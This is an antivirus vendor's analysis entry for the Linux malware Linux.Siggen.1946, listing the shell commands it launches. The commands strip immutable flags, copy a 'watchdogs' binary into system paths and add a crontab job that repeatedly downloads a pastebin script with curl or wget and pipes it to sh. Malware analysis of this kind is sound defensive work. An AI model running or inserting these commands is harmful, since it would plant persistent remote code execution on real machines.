Linux.Siggen.1946

Linux.Siggen.1946

Added to the Dr.Web virus database: 2019-07-07

Virus description added: 2019-07-07

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches processes:

/bin/bash -c chattr -i /etc/ld.so.preload
chattr -i /etc/ld.so.preload
/bin/bash -c cp /tmp/watchdogs /usr/sbin/watchdogs
cp /tmp/watchdogs /usr/sbin/watchdogs
/bin/bash -c mkdir -p /etc/init.d
mkdir -p /etc/init.d
/bin/bash -c chkconfig --add watchdogs
/bin/bash -c chattr -i /tmp/watchdogs
chattr -i /tmp/watchdogs
/bin/bash -c chattr -i /tmp/ksoftirqds
chattr -i /tmp/ksoftirqds
/bin/bash -c chattr -i /tmp/config.json
chattr -i /tmp/config.json
/bin/bash -c chattr -i /tmp/.systemd-private-22Cc8eddcc2e4730bb9fd6cf2f6e11a2-ntpd.service-6GtzMk
chattr -i /tmp/.systemd-private-22Cc8eddcc2e4730bb9fd6cf2f6e11a2-ntpd.service-6GtzMk
/bin/bash -c chattr -i /tmp/.systemd-private-287c367xd1f24bf5bc27dsb537c15dab-ntpd.service-x8KcNS
chattr -i /tmp/.systemd-private-287c367xd1f24bf5bc27dsb537c15dab-ntpd.service-x8KcNS
/bin/bash -c chattr -i /tmp/.systemd-private-802aa11cad53474fbe3aee5b763fc6x8-ntpd.service-cpvyP6
chattr -i /tmp/.systemd-private-802aa11cad53474fbe3aee5b763fc6x8-ntpd.service-cpvyP6
/bin/bash -c mkdir -p /usr/local/lib
mkdir -p /usr/local/lib
/bin/bash -c chattr -i /usr/local/lib/libioset.c
chattr -i /usr/local/lib/libioset.c
/bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh\" | crontab -
crontab -
/bin/bash -c mkdir -p /var/spool/cron/crontabs
mkdir -p /var/spool/cron/crontabs
/bin/bash -c mkdir -p /tmp && chmod 1777 /tmp
mkdir -p /tmp
chmod 1777 /tmp

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

HTTP GET requests:

DNS ASK:

Sends data to the following servers:

Other:

Collects RAM information